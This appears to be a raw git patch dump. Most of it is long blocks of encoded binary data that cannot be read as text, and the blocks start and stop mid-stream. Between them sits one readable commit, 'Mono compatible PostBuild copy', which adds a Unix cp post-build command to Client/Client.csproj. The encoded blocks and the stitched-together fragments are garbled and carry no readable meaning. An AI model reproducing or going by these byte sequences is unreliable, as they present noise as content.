zw1FM$SONBsp;}tV`k5$8-aHLu{83%)u=mv*YLxCT8sTPNfkMfJUI-NH=Gwwzf5@rQ z-3#{e72C7(*56a)EyX^;TQQvV{863GfY*o*H8=Hc9Ip4rt3<@1Z1t*GEAbmU)oR0J*>4hE| zRC-jdq{rcPh8%K=Db=rZ&iC0e?OPYuJLl74VInbR4jvzenau$M$#DucMlpF*vyp* zWlzK>YvYEajI_t+=I;TP<;VW6RPy&k48ltTsMCm&ECM{0_*Y$5MWrHzB&4@vpOdESFFAc6IC@ z@gIR`>hZg9;VpHdHbzZY#b+**%giegElL0<2E3hiM9g!@}qt=!I{8xZh+v4F<{Sml^G z_bm*i{RWQPZbVb*hn$q(x(T=Yl7FysH6f2)s zP<(Y(P?bB^u=>aEec*cs7;~l`e9Uv@+++Un<<=gsJ*FPKy<9nWdy~rTvpqMn2Z|g) zIPmJ3FLM%B;MLRbvQjZ?m^l*~IR!avD;$$Cm(etgUFHn%m~w(7=VzPw{0s+beIUEe zU3?9*5w+4F;%qI$d8Y!D&#A(h8l$d55IO0PtrSXZL0;4MaNOa;afi=7?r@#I?cP^_ zSS}u+%CS>uSVs{pqKZ?TeO8=~-Q*l)7Qi_ z7GxhEOL6K{idgEGDEEnCX#n$+9ZS_YL&MyI#?oLU=)}^Xilx3+{1DHHqF7GsVEe++ z9Tsn9<6#QT60syPEi8o8bY?}NhCZ@%orw(mh~II6m5pi|S~a;#2>b{uv%+VRzic4le)iJ1pc zWR#;`{2@-UH;mgw!d+z(C|91B90G#4ny4fp^U(_Q11=cRhY=z4#vpGVu(&en^qRbMU)H9g-%#qV?M-WNy z{sET6XN-~b@fc|{{tc8etZxEBHyqomo%~<`OP_QrVEk@mk7LDi1jV4C$Jo)RH8kI| zMHP|s7r5LGrixf6vKpbJF?_V7e|ygHtY_19m>bE=?Z^9IGDOxfVgN@P!Tg%F{X4PtvBGPVf!8QccbZ(If&1OA8jZ^IMn#|EMP^kxrLbx)Q?>w4TUb61t&1EXk3I0YXVc2CQL=%U>s|HGyZ*m zh&S^Jo0~tqA=_G`k@=mX-R7qKUeW%Zr9rA@Bi)fVxxp+=HHdM`{7IGG3hr#50!CTp zABz6sczUU#r|0FkwXSk)~r?l7@>yOvdUqz;j(`3mvvE*t`(+b&Vvh1Ts$Vlg8|995V zxy+nXjMMbrCN}LdDxRxgR6JLSe){b;Y8OptV7w{W$~l+Ixf-l(@=kDgH|@e zJq8zhU5;yn`wuERSB|P06P4sNI|NRCF2F~JLqD@%gZ2S?d^&q!Da;sQk-5CybOOU$ zAx9gv!51w=BD3srG{q}|+WapBtd~G3z23x=e`lkBVf`GqX~+Vk!g?9Ve9Y;TJ{#4j zr3Q`=4V)fgv<;(LDl`qF_HYZ6n`!L>z@rHZ1S_4jK=(U{WQn0G;>;DbLrU&pNC#m7rzm>S0Gy@m*lH3 z;JVeuSqZFLL)LJ!S+|+rpsSeCJiKl%#iAkeDyoVXAjNjdywh-<176(tWwq;>*HjU& z4@IKmi!gr;_*;ZO^D7r;@pw*EH}lQ~Z>gSn!zD<`fp}x!J%a0n2yZH8Uzo)%8_&&a zScC;Sl6l9Uvky<<1+>vrm_8$dSwc?W(Hk6H9pJ>>urTQx!?nEju5lsQro(jbC>5+p z&V-C}5YPVeZ5kF<7Df}E6p7=iPWfHUe4;i-(a(7Y=x5bO^z-A|Y;Xx+_cQi{j=4WN zxzmRA?=1H(p+D(A&v*ZWI#-f5>BaRbH3Ti{)*m4f442nQ|N1|mn2CX~brC;@vZc6hnR)1$am8X-a5g;eK=9njALw5{(L@cuUS~Zf%(636|o{i1mALgbcN%!=spg;ObzV=Ai-qi+O=Fy|aJPaL9qOUB#z| znqI+g7w$nRo-28o>4_Jim$($Nk;r*4#+{B4{knPp=Y0YtJl3C3cnB<-xo-vz5&sNy zSWu&>%pb7c1|E=e7}>z_{sy<1jmC068h!_vhV?FBJc8y_CLf#_)?Yw;*||3orsAnI z1Cs-u%?Q(}o7K6=L}7VN{1{|C7P8v?umx7pN`>1Q@Pm+l{xlS+Ots%(t!NnMdFomCr=gfbu;kNyp;m~lB% z%-sO(Nz@nN2`)Po8Or8y9Itdgv3u}mFIfT|#hm)26Rr z?umVMWRZA>5JRof_Q*Ckj`DmJ7Bas;Y1~_2PYdA=N9nA>^hKBfUHf1^`dZ;Qkl*er z?8`^jd*nww@ZSmcE>2M7m9vQ=pFNh?R%!ekpt3yM)WnjCa4#1lX2yO1L7Qi%UxEPT z>S^Uj1S^2}en__`5-C$`mm!F0KxHxZN;!mx_;a3>hkK)+M`gj%fXlUbV8vbJoJ3ja zzJ-VSr{gTRcJ{20qP+5yjz!3Y(vgG@>v$m@5k7`O1Hy zo%vT`n3eez73d&hcuiUMBK;xKuC?#Yxn{~E<)x8=J(2P<#~{j86RM3!xXi-ogUJV6 zrYz8vpoPU*O;kiGvVvA*1+9=;_B9-uUYcXAj8tY>E3>SXij~sWgVR2OoD!Lm<(y*o zS-i|z1gqV5F2-sL`m|s;DH&eOqgoZI!VQ=z`vy$0V(}`LV#QJ&sRm26V%Zlj zDoj6_ldmRHlWn!8EK;~9Qe(>|=hxXVEYGY$-SlOAOYyxQU(9K=9a7*zQ(*D82p}g+&c8j=VEf! zgXIU!!8ZUL*2&K(@qJ<8Ta2q8UzW89-y`r{k1y9zZeP8)8u&tm_?UL@3_21&!ZGL= zfhP#;6nLt@K7m^SO}fqVC2;;lD35u$RIhK1&!9a5m-`!VOZZfQm;0H2N`U$I1er6> z#PXBon>D6MFPYy*`qQBrz`y7JG~cA}gqd@1!8Z!RxIgmO0)yg(RfQ&nHpQd?f!7Lr0MMYnO<_IzsyN+JRaa%w@kpCw3A|0#*7zWQEz^r?S>_W2 zUQ)ZIHcVfv{VT@zn*yH^_#vP{O);){E?}54G3NO+AjVYa?*N+g%{s2_8G)||{F}hz zr?Q1?p8D4UlkT3%HN1c{TR7W3Lyd02waoSvjmF@O4ZwWJVP7f4ikmSVcW&9Q+JWW6 z%Vr6-Mz9cL;QSP@2-cv$VuiE?SP6c=F-JJh70w8rNxl)aeg+snH++=jT?woL*s+p# zlbyFj>bxD84|yjD=iR{a;oIwI46-~ddDXy1(fX70LvYR@Obqz^oPI-#(35in`v*7| z;a`uWxr?J$l<=6JyUJ^B*O1$(cq^|-?(P@yDTYp$;Ih~%D zKD=OKKNil{fNi5Q&=)TE2f;QFR+GRqo%8zWHNh$c+ep6>Y>r@?paJGwWnzX5MmXfV2(Z+5DPXPdO28uoF82Kk(nG#$vA_7X z@e-Xl`d#A{z-Iv+%1g%YK-mYV(JzfZ0=^GUjeLHO=I}g8Gqn>(`?Q&8@#KI9urI*v zS^?(VCU94PYq%U~r&OP|2c@2*Jz9i57rYi${iOe9q!$MmJ`}tUu*`fCaFO{#zz*|D z@EjFt)g!d3{CBag_h3>F1)>0KcZDXvZDtgPt zSW5_7^4aTSE!AW())E4hoyS_5mc>|0hh{O>60gMhv)9L3!m?LBN=r>yjJ3pTRsJX~ z9j*{ytR+0vDotJpO_0|ZoW&mVFV&U^<{{Q@ zm)2%ud$kw+@7TYv_t0ML75^#P@@(Fl{#BUk)n~7?*OA4zy%kyP9bh;dlFwfJG`dAw z~SV&`cm(vK7t z_*}r$PNkpQ*e!uDFy3Qf`~q_W7ipiOw*>Xge^aC5y z17Fkn=mQ&jF8GL+pqbNIvTFms1-6lTZLHgTQQJgk+E~*31+cV@?KI!iHq&++yV(2# zurV9E#(Y;x(nU6QqxpAWg%SXEm)~LjQ#+HsF4)y{x2fr8(z7a$zJ@ojbeTW_qId{|i^56Kj(N#9KwftS*cKWJ~eFNAIIzsB)O$#dD^^MSdQp?r!rO-dM z^JuArEftf`qYlAd53fTy zV!FY`*#9n}=LA!dT}rV+bHTKO*>9mSKUre*%;60chIYXjnT#VA#V0($@v2Rk!#@OHQrps)M{rw)gPO#UtwqT9t9=b=cF}lDr&2uk3!pAbG z^I!8DJ>R0CBNcWVu>0ucd5rBPjuZFOhk_}4xu1&Wa~|vZ7|;E*P_PT>G5<2pcj#?} z$+$m69|)!_`5|h-?Kd7xwxx$DDcFU9Xn2k15jxAps>4_6kI*>^lUg37Yg9S0@<-`q zl?R{RMc<`kajVU-^6yfIU@S|o_BcH**cipb@6h+@c^hNv`2oEt7~6cp^921#FeT>` z6z8KvTh1rx3>#yce~Lb5V{G$J(=&o8D}ROpxK+ln=hE<~=NWodu-C=rpP?3+NR`b$ zL!*LS7`QHcvFC?$kzmT^e@NYnxE5ve&(UdusXjbMkJuRZ;d%OrV6O++1Aas=38wt- zNAxGbIHKI>`4Oq9`hvjE!?$`~q@YaP7X;o2e+^jF#@-3vUZtmP z?8^o30{e?#ET`A|8hIBJKD+3pf{^!@G;axG*V1nbO1!_}BtCn6e=Ml+zCkxGW$bDS z6&~vSE!}5hM-(=De@8zPOljgR`i)>0${hX{{oclS_4F3~MPX>Y2v}a5v_Ra#AE-z$ z?(KZwS+d6-?#* zgT9!}>-N4+Uw7sGlm3~_JI%YFie<^9%4yo=f+^qBwQF5@y7mQEo=3acmFLm!RC$5j zg|+0>?#*(BHLv!hi_@n)XLHs@OwG`KW@F6}1K4Xe#;YJhd(*~_mApUOSf`YG&&GNq zcj0_SYZpxfEXfPn*d%f>kBN3?QTknSap z?8Vwr8{=4Bstwv0&j^*;uWgKHgels|D^wpi&R1!_wlR+L)!NWXmB+EXMk`;XFplN5 z+C0HHdhhhcw1l0RlRJ4RoOuA=GM4{Yq-=x*#n@n z+I@E38_1ijT_Sx~<>qMDD2(RSt&;OYK8wK7q78Qi_{=92mvad@f6O* zI~OF^omTbiD&(?E_u4$)lbSyYJ}tQl{(na*cfZ^cJ}=V#(qPTJAnEs!)^Wb)P;`1l z=x+h)^yf)wcWv)UZlIVsivcyNmh?19t5z5~`sZAYlqTKvxYGmqPHlJ-i}0&)*@jW} z;6#yYm`K5M3PN|+^HJ#*sq>?94^E$lvN|0rHJmKz9!V!%Y1RpTjV<(Hfnx$E_RA~1 zz{#8BUQnK^`J>Wq*_7rlMp+%_W2_VRC@2Zt{O&ZD!d;02N~PJoV@q~MO?gVr%RHiO zulR`1_7T;)9T>X?1JAb^5BHpi}yQ5aIzZ3xo8RQ z1y>+liF7^g%tz=7oO}M6__W|Xftu#?g|(o-h`pAyKoouMVt=S3H@T>nIUP0VeLBYgtA+`oUYIq z#LR(#0Bj7HaL;t2cXtYSWMbZl; zw}sv;uQ7gxQeE0>fHREOG;hV-^qN*uu?xG!DHRKi9-3Zp7rm*SUa{P0q(sH(sAqdc zpRtraQ?bR<+1+Lq^GCRUn|={*P0Om;5>5o{qn_%~KuWZCjnsUN=%g6L5$0^bV1sl}c+8Xm>`<(ZM@t zcFhuO$4hHg2AR?Y3Tu*UI3?IaN7eKM*$y`cxi7mgQcG%f(W82M&BZ7+r+Q`ZJw07> zGvIw?cYyP|+Q_wS|;wQlwbZ3o;vmmbF0fG03jom|+)s&m}prBa-n>(%tbnrUXl^GZ!K;J&iC$bGZsZGVO5A2la|pU0)bL$#-yk4tUu>AqT)VMfil zCXfDwW>C(JIDNTU=V4pAA7=>Hm@_<6YwyO>S~F{za+JXJwKqtqJ?4DRZ^~~mTfx7J zT0OTRx7G7-?Zf73P`(HFTJ0_7YxIZOrvZDaUjQ^?ruHb6$6hvjJnc2FnNLt#EUZ02 zCkgD0?V_`!wzE9f#{P!fl7ju_m{6|M9*c!TELBnHInmX1+H)}veE;Mi-iZfjqMo0i z2Clg^bRG6!%K%@Atpt2C)(!ag*eQVfA;Wc=r;c+kt2qO(th^idV8eBZP&;bw(%2Vn zfv$LD9~Vo0Ty%avb=7?>^d{~L-3v+j>lQ*YJL?`t`YNO&#CM`1#CMrk!d-ZR;O4p) zLp;{|AoJ~YuY>cUy1#^O^882LKLO3Dp1j?jlBq$!!={D-*;*c#@w%VpgMOXol&Qz& zy+%V*+w$)BY_C|Acd`DNikt9E!|2qtd3ByEr`|<%o|~qcTAk;%sn}(D9-8{8yz8_l zkq*!_@C7h0ybd^1(k+r+F6jHb48wEZh@Kps% zm`gXlQn5 zL8w2pEwnSVD|AWds?fEeFND4ldNA}v=(*5ap=e%pUUS~OybXE$OkN)3DZuI=g6H|7 z821XS2P)+r_LF`rD)IaT!^MG#>4$3K>A%{Kj3zG*ZKwiMvZ7ifa_U9{Hp(+AXC=R7XbT% z{M-KR0(S|#Jjk5uLY+F^+YmYha5!{2pq}@6KzBX2(}SQW*}B6gd6?%4z&pZM1G+h@ z3Z4RGTEVk`=M}sTcu@hDRgx$lTq zAL(`Y7Sic}{9E!MI7e9G2>D0!6+BvUHfcbae2P&9E^G)?Eus&t4u<6%=8-db0O^a?-?cajf5dX>P{usIDHX4s8> z@VlZJu7$iB-g7$x>60KScI^WDAQ!(WoMD0v2Yn-;PMh$wfrj7g%|iNoNTJi^xaY6a zmAGfG)4$+NO*&n}PwL^%k{pfnT>|gJ(|S5RO09s8VKlI-gYI>D0{7GLqz|A@PoW>! zj{@rS@3@z))3fM@hWTR!(mzK(bj01&fPaMSI-V_C3-}JC))8w@0sIS|Db(q&7)hP} zhH=voeR}}kLqBxH-~`})^gyQ%DG5m07C=qwhjpxhweW7CLu=P{qrfON28{cRhmFJh z8UNM(+x?IGU-2&rd?s*L;EBMI!Cwb|7aTUdqr4w+f2IO~VP-!X9R}NM!m|E~zxWeiiP9=_^71n^&ys~Gg zxi6KXb|jW2wkCTMSvs|D$PA@>dWUjZt(oluy=xMg;nWbV=o#!9>cJ}sI@8vW)oZ0l zm2cac7#M0zZ^|&oARflKMire_m|OkEfEWD?YtPFraw0~K{8(mbpghcr%VuHVU6nn)$G z-E?Q5lD2I_iS$5Es=c$duP=?(oI=PuE-{cuCwp!E$cPUNrMDBeJ(%cCZk(Lwl%6CD zY-5r$uu$ZKyn>`=Og5s$jJkc8}ojsIh{&wpswv0*M3^H;mkzu5VgCt{h+6~0Jt^21 zhJ}M6o!yfhTHZ6zmr^3jXsC8KL1;lw%CWeTcGYgHYd%mBrey^jFFC8_BeJ+uySrl( zaL(_V&{?M{Wm2jW6FYDqsVDL{^-R#STbzkaZ|zA9C)Tg0))XsxyF}AIYTeqCOtE88 zckdvr?Hi;%HI1?K_Kap<5*!(qSbYhSRCfY@OpUoDVhTNrNuJ%0HNyi#u(oCd(qvC6 zc}|baW#h2+fsGd7$4H5uei#6z5&1)H$0deT*nq+IsJJYxNPE(Pn1`~AGy+3UU!N`V zGHZCCkJ5>L#QJe0^qOo_QoT}~?E_n_EeYkub{f88r*hSHSa=WqxLSpx<{bnalcP zQfhXP7MHr}V7r}&XGKu*oba6ILfbQfB>IS> zc`Cz^c6m=`vkYptrGAWtc%D;)Tc*yO0NM6jm1ktt!{KA?z-EaRxe$|^V9QRyBY=bAIlbG5mWo_Doi=DT`N~JK}Va=9lwx>_x1rBVq7sj3D>~w~(4%uK~ z$suYRU?=QzhA1QPxNRa)RIi#6#j7M!Pqgb|vXgG^l{npjKdqt+v2~zNt+O0KF;6yk zS-o2lShK7VRX+Ii43)8?2)r4 z+^)eMEQ}XU?9MS;)~{cTH7iDKSu&A=T}>gni8#9-@Jq^R{Pf<*Ah$WqJG6`cf+3 zXv)S1Ni)1uUxmfFc(54vIE-WLI06S=US%fID=ob0R1E?z2W_e(*Cene!~&paJBA0z z)*&pb2GL^-met>%80bs%btJHWm6?5MVq*^$Q8@x;Q{XI2*KjXZvs})htR2V<4-TTe zM4uymE_0SH`O0p;a5fXAP&(jw{2}%((6o zRIL`rgQ|KOL~o$XRfBLV*Q!lLJKLm`ae@Ug7jWEKNhZtjB-`v44{zKEdqO+T+QL!C zgvpBM*Cd?OS^dMLPqb1PQB0IsM_I%3s0_dDIP83OQkhy;VrUrKBDE%>g(`27+1o{w znRQ~CwEFB>I77VVT9z2XhOQ4Gfp>Q3@SsdGs?U!5vKgxyvJ4Z@lM)-&B+eR6$Q-7w znVzkQK4-JQH8>316DKV-yBRsN%S}*{K&`6Qae20vAfVZs8OK$)T05N)B~DzYN;4A* zWeZGXZX4)jyb(+=UM}AtpcsQBrgTW~U+2u0!j?y*Ltxc!ckk#U0 zGgcXnm5T$k4?1WPZoVz+FcKJ8jctwxWw$(8pUP4u^Y9cmlvvJd8mw8w1*Jv@vCT4} zf-+vTAbWleb1um##X)E3u)SVUHk7T`EnHUGc6VdU;SlTwrI6hyr@5d#?(T*;O9EWB zaSY8$9<(*Njyb)S#+`P?A$Fto)I%T9*!YHcgtEhB52s5s9!-0m=cLUb=Qb=fYdl+; z33iZ~Py^@iQW&cRuEoVDHOa=&c3r1qrPZ1mYbrKoo471(^& zK1w)&8f4mNrTcq^sD}^sI(zV^x?9uf9-hV1$qmCe;ZU(1p`usTU>WLH2Yf?(+Ls*Y zO%3-Y+B>%%!RuADm$CVXr*4$M&FJ1CEUL*G;-kM_Y^AtTIbc*9?(Ff!FdwBU36-EC z4)*L=k#4Xsp-q?yWmGI2uBme{!UUfa`)sxR#Tkr5z|00pVh73lwN2_+%XVCQK3kd? z!h!*F0m8<>rlHLf+p^amyprmMsuDxXps55eG;&Qk;w3iPYi#VLGl~8UsqNj#p;RKr z=#X80H8~SzvN5^I4qpe#?jP(KaE+5wDHiH|!@Vv|I2lWQ49cCHi~Z zoynF`6H-n9c=CzKOcHy79PPN_WM2+*irPAxoUsgxl}VXPI=UoCBymogE5alk1MrSz z4c3_3B$dhK+k1FsL)Hd4K+fgL{>pvqg3~vci`wmv>j7+O&TK5*__ZUnOu2+To?VIF zVHnf)W-NgElNnw`XHbhG=4iQAoxE1r3lNUXhuH>K@`Ri{GDjp)ZE{Fa&93O#b|N2z zNJL$UxBbJVQI|E)mmzBqQ%WY&jUA*MEXv^{dc7ezfI~>0x8V0%;BBIbbOH^56(`6% z zdDFp~Vp~{+t39+!aNy^pk$)Cu9Sl`kPMz9wX{e*yl6cRty9XOIhmlVkF@QEJV+alF zmkg)VyzG*=j%>NEKqN?{WnsrWD-k|$mt$*!k6Nf5+t)!WBMqx0Mot}1abf#l$gYa# zNt@D@N+fW9q$h1})^mquYV|GRbnspUb7bxW$eAlJ+rlFjW_QeN14n+cv6u&|!!(t| z9>?BL=4^Y_hK$8$tvQ!i3Y9^6o*kv*?VW0(v~MTm5LS&XohaN+FT?p8PHSDcHl^E= z>5412Sr=~~!tM?O)r(op@x7dE_Q>=30=^u;c}RE)GpeNl1rU+dJL3Itj?$7;uS{JF$@#>@x$quY97Bvptxp zoqeE+96QfdIIghNz64GKV|140IabNVAm-Y&cQIMsj~3bH{6s}_ZM*6tWy`rSTzE|H z`t|H4ICNNoeJK9k&B9|^)~_GhoXp@hXwM+q@l3qig>3<$8YixclQ?4-*b4n4Ky_P) zn6r*>M!VZ$`&*Uf*aaz9BvYwm#*Vv!4`3an2DqJX8A*_ypc|oOXb_VqEtD1TxYer? zXpomzGbIRR7dVIOTdTLCAgo{-p1d`5&bxdEQa#L)7;hMnmEq$_+;!^VvqlV8mIkBdHD(uvA(fD=B}zEEeXgpVHw?1h zSJ>7bta=89vPTNa7pPq=br6cSCfWRDrj$w3sm!Lxx=7NPNSr*hDI^?54GlpQ3A++Z z2YM47iLD9VVv1_V6Je_DeDcJrBDZC=XLyaYD&2g{AxWtfs z@M7;+rNioejO5uHESCv&s11a3|8#tDKAEFdJRyOYB&M0$?z*eXTCSZ9)|^lCh(dU^ zvvcRTW+FT3s?(OA3){AC3o1NvK4!CU-Idk4rY=R4IqH zXIgnBfauBI$n|hIl7yUefQqHd5SHUSBX%S<4lyeEwrp(G*(Eccaj9;jH2zum#_+t= zOuQ>C0AMdNEmdOeJMoL3+R(*z{W zAg2d#JMdoNX1Uxtr2I4}+&eBw{aw;e9O9!sC3`y_O>=5kADg_oKBT z(K732Gjdrn?l-r>S{v6|J{w;OU)B@lvjy-t3ASY!Qc1~G+GhPIvyNp)g4-JeJq|ct z!$*Uc4WF%$^W0YGj3e`~4btcZoe+HxPY813Y>rz|pcmH|o+*n_2RhJ;ycE){=mzdm zBacr+a>F#)CE8)`IS=Ig4%ETwh~X(c+>nRbR6Yx#O4OQx;?B zIXKrElo=KUaun!+q--Yam`SOLRoR2@VYVs{Lz-JiXM3!DY8V(x#xBW2$V$#Y59|N~ z_%_LKZW0c6$pv`cuoXJwesg3Qz(3^#jzeqf{@<$`&tCqwYwv{QA1V9#|E}x@s~ys} z@u;)SsbIn*#ZEi`eXHQ(n5}XocAcD+I>AUAy_X{p$A_+8~39d@E3rT??m?Na3v@6-#YS6-(HcIf5gnb~YZfosTFz8xPvfop7Crzsa!- zHK=&xv^w6{V~~j*!II5n7IKu|O zQIbtjMMxQ#V5hBZn!{5BuTl;N>__j90yjr1p5%FmhvaRm90@mKEaySXT1gj5w_^NS zF{a&!QmYWF$b;vSJ%`{m3Iz*MZ~+E=K$Oq6s%Cf900&|YiTo1R@tqkTCYx=6a4ZR7 z24N^X_icip4&`u&H@=O-Q77B>0?AQcr&Q8~4s1vF69132>#m*KJqAAs;FcFd&OWro z_%LuPiP=3-Js%bc$j2opxDfpjt|OVB`!>D?MVY9}W3om{1w3&me_x5x)cVPTEB9ak zdg0P33@%>r2dC0X)RdfyMpEx#Y;NP*T7ZY+)kK?%Ie1pRF2}_SfXVAoI*#i)P%8^y zQoJbWl(EKB;xh8QTID#!Vck8M(~6I-hg){mL!Yp=u8*$mIMg--i)KgR-VH!5JoPRv z;9kT`l5oaK@Spt&O49m|Yn^4_WdKL*-jC1_+liWkCP~usarJkJm-eFejsLY4M#p%< z+=4GpPCOm*)Rmin)HF8)b7uweblMD_P8lX%7pWyKcQQBaZGfVCQRl%Yz>{Gp9qej{ z9oXPv=nzk{18AEgJROG3J}5kCx`%HPUoA(tB^bU=#JMK4!KO;O4q{i?#uDo{_0NcbGF-E1OV)wKINQ%k7L` z+45dkTXL|P2D8I+u-ddaxjM!V=toOHK3+r6v7da7cN<4`hM&%JK|Q`|MKZp<4rq@@ zmCDA`yP-i|$I;^pbrPG#n~E9)Etkb;{;M`GFQG8 zBg|{U6x@e{VhjO#4Q6L$=}d9XkJ!4MkUY`ybHSgdFPHqTaZ;fqXKAWOF$r(Zsh&u; z)-4@Rfy0;**edzFY`i{LTJ|8P{WRoFNpIEm)g_5b^UJ}(p$o5DMQV%mnr)g7Uz~Lh zt;)nE z?m(31vB{@Rd?cz>^NhkP3$=UXL&YU>Ai(Pu{w%uahqc4qt;;W<+25S?VPH80zID!N zCswq)da+Rwt=6L5ez}a^g1540(H3uvqIJF)RYzO=F+JK6DGvl=o@g-I5}jVflpwBV z%o`0N2T3Uv#5-G1AR07cTC`4GfT6C)3}%ST@Z!}qbpVkW9s}PPUXEf^d5q|E9e+K} zh?d~nWW;n0H6pW$rD$R>3z+Uj6#x`1k=9B)ad4o*CI+*B;m;i-Q#S&ryjXr<>ebM7 zVCASdAf*CaL4X+px)DaT0er(;b=Zf717U7H94$c~wdmZ)d{i62H;hWA1;JGkJz9&Z z?$!xUU9}GyR772?DpzV^ogf7@RQsZ>XfrYoZARw#L4(EuftXiaIjdZhQ_ey_JWc0b zvB+SztHy7%?UrpyTb9y>uC+6Dg%+KOmp5@DGEZf53VMjP`%pgGjvwRdUZiv+G=tF3 z>Z%Yf(V0?uwWQ-J?Pq#jWSRlniq`31nic*0kr4APs?qY zR_B9btsY%1^|p%6Rck&+YJ$izw3-PswFIvarR2VHp z<$)MF9Yk6L>4vOmz6Ca?X%MyA=QV0iVLM$dy*N3#Is~5>y(K%y(bX*3YHuUV4s4sb zYnyF7;13^&9_rZkqpkKxff*fYqI^4n01>Zw_zlrspz(- zaG=~eF1*cd3W}4#fCl4s0+PT^F_yk)9jfo~8ju@qs^P*GyDl6qtoC8lQ0M3^VK{Ph z9SDBH2qeN`l#C{#NtEnY{?Tu$v8e;MXsrba)=EHC$isz{`0`n-vPQQ2Xk8etMqCL7 zdi0hM2N1M4y(&7LmAx%GY)bzcxjX${KSskKPdHpv#j-|5Ul{#Lvo^ZxAdjmxJCCFt z;BmFanDdj^#+dz3-qHLgy6~?tX5TM9dLS{3d-18pnEJ63Zq;|=XK4dRZ#eSEp1Hkq zkC-)oPD^6uy!lhKZoM@7gdIOpqi!(c2E7J@32;n7Z}A87IQB(m6RuDy+eaG-?R%v{&J!*zZvZH*|8_oZL3awIRHgg8~e1 z^i3qto>mowDsd?yP}zT3-!>ARiAg{>O%NrC93-QozYqB_V1HIc!~{g{XnSEHbFR>8 zU}&T7;o>z_rFszsVTO^>f1-N7T%$8F_(kM{1&nC{nADgS8O!IeTP1NRP~!Kg7NRqw zC3cbOD)a(|Bc@cxeL(jTvvO4oyevc#f&|`TROO3V$IA*2`l*FV7tZ@gjrj=vb4~ zGYc>}Hdl46Rgn26yYLvMm9f@$dy>_l;D60&4^1$0fs zJCU74I43fev~xJ+OfPI;TCF`GtjLj#dIy6-2Hi5!K3F9BXgkS!=mt6(z)*u4U=K$fRa{qfbe5mI9KNdZ{a)6$FM4tq zR1=1Z=_7ht0Dl@sXVsPX^P;DL(u(1VlpBEnmRg7$gpnP=_=ORRV|pMQ85;}x{oybt zpi=yUSlp@yhF^ynim;IJv#;KQ?#KuSFr1iwG4D)qreqoaaYMb@@Ase@iBmaE@KfV}i~gl@EeY#x5@Nhm;U#C^92jqGYK?ui?yv;>}e-zpg6@M4)S;gG!(l z)L!iid;A)F%EQW$7#|M%;ppq4W4pzkuY)?n)v_qV+=MDPJ(n+o(Q}1%3#>E69UG2feeL1F4siZ(v;=KvChK;3 zbo4$p&lDKgm;$)MVqlUemkbB|-e@v_48+Ok*b~v9DEJA$$k+?;nCLLpz@~}*jXi_r z$DS)hw+Ex6U%~2U^eXt}x*+lt0ZlVO%Kj_}#gDzhnwJ{e1ir$$i;TV2?yp6C+$<{^ z`u{9s9=jCI)_6qw(VQ}#=vW*6JBGy9=vWZ{tE&Q_W~=})*g%V|G4$xoBjauu;`POK%S3dHR4`FQ=V^U@WfqwojUq(Db< zLmEGFjp4bjSkLf~#gEVS#s<^_wXq)cOOP0r3lhl;qKH-7a#sIC>|kS%5QW@4v?&)5(#oV@M6d1q3iqBn_;WUGfSoj!|k3{)1 zO-gkmm(K$5`yO1KBNSnvuX}%rO7VB?Kz9yIC)ae3@bJBD^{)j-ThIYrgg0MlavIW) zgBW#=kApxtbLV>x{6tI=yxcxNf)KMG%8CK!Loq%WQWEtdkB@lpUJ+2!a&Kk)5ilR% zepEje$~(&(x%p6O@<|K#chWrp&}PC*w5;|{L|Hz=w(kfaUp)(;9v0(1^WT2cM9c0w z9emcr8kpQhGmgXL?hf)U!ZQRKbb<#9!H Date: Mon, 18 Jul 2016 18:44:55 +0200 Subject: [PATCH 064/229] Mono compatible PostBuild copy --- Client/Client.csproj | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Client/Client.csproj b/Client/Client.csproj index f851aa4d6..5c0f2d545 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -310,7 +310,8 @@ - copy "$(TargetPath)" "$(TargetDir)client.bin" /Y + copy "$(TargetPath)" "$(TargetDir)client.bin" /Y + \cp "$(TargetPath)" "$(TargetDir)client.bin" __x63m_n^_#LLI#K+qZM= zL&hoY<(;=rbsRRrxXq>z!H+aisn-!Tr*t`vUVV@F9yT5(!WGL2peb4>hW6bp-!+yo zW%QluIBKkCn%%d|_oxv8`{1x8R`fmRd)$a4DiAyRUh+L*j3>$yNBUm#ec#x_mS6Y% z&G(dXUg>mr9y?`RCCU@O_3h|!+NfmRZ+(T|Y2zB~Lc}(+_xAAn&^UjOCeMB~{XQ}( zm_qv1_bW5nR?|Kc`!)3Y*yu-;C&u(^>i3C}%esaAI{1BNTp}tEul4Kech+!t>U3xN zrTcwhjAyz7Ud|b%Og{Z5`h975R@ato``7e4Z&WfR^%s8dTORPOB5a9){X2SmWsIzW zlqV+iK$=Aa`x(H?SH?Eht?ZxW_q9>M)S=Hzp#HVAm)H8w0UFBmM*jss8B8bpf8l_1 zM0w(D|9JJa0Y4ZD`7IZh`mX@Xy0GOD`@}E(*ZEyEx-xmTc-8Nc0WYAE?#J!d+JDDa z1xKoz0~X2ejRB;~qj!J4ck18`seOJ`RAWGzylSMAC0<(~O(44HKrdH~Oie;tPWd~_ z8GmOvk0?+04`}Uq)i_0jyYtfI4~D}F%Xx&n{9xQer1Sg12q3!1y8EA`x6kL5+SgGKsLyr^y>ewwvyTaluXZvr*xu``LH_zC;DbmeT!V zY$Vb?e=(}ntJ3{ycoAvcuf{<)-A&_!o9?F341XAnecm$K5b1RAdn<0b-;Bj>y5Ec& zZo1n>rJL@yF~nQ9VAy~U{3?wpM7q>>j9IM1mbhbFbXk7u_lHsGW@$4`AMFJ#ZDvoV zumQLI?B+-!?b9^JyIGoMnai?z1IxVPW~s~@ZkEdI=j$wI!v+p>9Fg{Uk2#HXnEO5E zVVC7?ziQ^^ZkE-}ayQHBW=+4U_Pp2hCerPBuQ}39SHm3drmJC=x#?<}XWeu)&8P-d zK5Ln=MA~O9bA_9(wprw+t8H5T&ib`&P{;Hm()FurhOrLoSJ!;TO;^t>bko%{54h>- zn@8Pr_01b@I&ZVmP3LW9;g9UWI0_rkvw@HKERoLL&s@nm%-zqt?y|h?*T7WpWi4lq z3@~dF>DmUEyWMnw<^eZdpt&=sDqWCSN~F^TnSsGox?r;rk=6y9Z@TG1%%g6)5Hlg9 zDqX0VM5NP&n$I&~j|?-nxmkvrd)zF;%~<%hfU`ysW*m|B5@F7F(={>+-E@u2uibQ! zW`&Eq{DB&x&m7Su#ow!m84|7u-*aqYHfO^3`I?%YneZ*WX66tVjlH+IIgKa}=Ib;W zW9GB2Zwk_^2<>w?Q6u;+3FbF}=mZm9YsZ+COfx{&!YqTm?r2#^6bs+bK-x&;9i?ek 